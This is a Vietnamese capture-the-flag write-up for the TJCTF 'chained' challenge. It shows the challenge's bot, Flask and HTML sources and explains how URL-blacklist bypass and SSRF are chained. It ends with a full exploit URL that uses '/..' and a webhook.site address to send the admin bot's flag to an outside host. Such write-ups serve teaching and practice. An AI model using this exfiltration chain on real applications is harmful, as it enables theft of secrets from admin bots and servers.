Mô tả đề bài : i designed my own admin bot! and i included an admin page that should be super duper secure...
Đây là 1 bài whitebox và ta được cho sources hệ thống
- /admin-bot.js :
import flag from './flag.txt';
function sleep(time) {
return new Promise(resolve => {
setTimeout(resolve, time)
});
}
export default {
id: 'chained',
name: 'chained',
urlRegex: /^https:\/\/chained\.tjc\.tf\/admin\//,
timeout: 10000,
handler: async (url, ctx) => {
const page = await ctx.newPage();
await page.goto(url + flag, { timeout: 3000, waitUntil: 'domcontentloaded' });
await sleep(5000);
}
};
-> Phân tích code :
+) Bot sẽ chỉ truy cập vào url có đầu là https://chained.tjc.tf/admin/
+) Bot nối flag vào đuôi của url đó rồi negative tới đó
+) Đợi 5s rồi đóng trang
-/app.py :
from flask import Flask, request, render_template, redirect, url_for
import requests
app = Flask(__name__)
def isSafe(url):
blacklist={'127', 'local', '2130706433', '017700000001', '::1', '0.0.0.0', '[::]', 'ffff', '0.0.0.0', '0x', '..', '%2e%2e', '@'}
return all([i not in url.lower() for i in blacklist])
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
url = request.form['url'] or ''
if not isSafe(url): return 'Access denied. URL parameter included one or more of the blacklisted keywords.'
return redirect(url_for('index', url=url))
url = request.args.get('url') or ''
if url:
desc = 'The admin will visit your URL.'
try: req = 'Your response: ' + requests.get(url, timeout=4).text
except: return 'Uh-oh... Try again!'
else: req, desc = '', ''
return render_template('index.html', q = req, desc=desc)
@app.route('/admin')
def js():
if request.remote_addr != '127.0.0.1': return 'Access denied. Page only accessible from server side.'
query = request.args.get("q", "")
return query, 200, {'Content-Type': 'application/javascript'}
if __name__ == '__main__':
app.run()
-> Phân tích:
+) Route / POST : nhận url từ form rồi đi qua hàm isSafe(), rồi redirect sang GET
+) Route / GET : server sẽ fetch nội dung url đó bằng requests.get(url) và hiển thị response lên trang
+) Route /admin : Chỉ truy cập được từ 127.0.0.1, nhận query param q và trả về nội dung -> Đây là route cho phép tạo file JS tùy ý từ localhost
-/index.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Security-Policy" content= "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'none'; object-src 'none'; manifest-src 'none'; ">
<link rel="stylesheet" href="static/style.css">
<title>Chained</title>
</head>
<body>
<h1>Chained Admin Bot</h1>
<p>I designed an admin bot project that'll send a request to your website! I included a blacklist for URLs, so hopefully my sanitization is completely airtight...</p>
<p>{{ desc }}</p>
<form action="/" method="POST">
<input type="url" name="url" placeholder="Input a URL here">
<button type="submit">Submit</button>
</form>
<h3> {{ q | safe }} </h3>
</body>
</html>
-> Đây là trang HTML
Ta mở 2 trang giao diện mà đề bài cho :
-https://chained.tjc.tf :

-> Trang này có 1 ô nhập url form với mô tả là admin sẽ visit bài viết của bạn
-https://admin-bot.tjctf.org/chained :

-> Trang này cũng có ô nhập url form
Sau khi phân tích code và cách hoạt động của server, ta sẽ tìm cách cho bot requests vào /admin với q do mình điều khiển được
Vì bot tự nối flag vào đuôi url, flag sẽ đi vào phần query đó
Admin phản chiếu q vào javascript-> Ta dùng javascript đó ra ngoài
Tóm tắt : bot nối flag vào url -> admin biến phần query thành JS -> JS đó phải cho flag ra ngoài
Vì trong admin-bot.js bot nối flag vào đuôi, nên requests mình sẽ thực hiện có dạng https://chained.tjc.tf/admin/?q=tjctf{...}. Có nghĩa là bot sẽ mở url và đẩy flag vào q
=> Mình sẽ dùng webhook để nhận requests đó, mình cần sử dụng /.. để đi từ /admin về / để thực hiện requests .Mình sẽ dùng url này :
https://chained.tjc.tf/admin/../?url=https://webhook.site/ffca3d1b-aa9c-4df8-b460-8bd8431c5f3c?q=

Mình nhận được flag : tjctf{ch41n3d_o340e934l35d}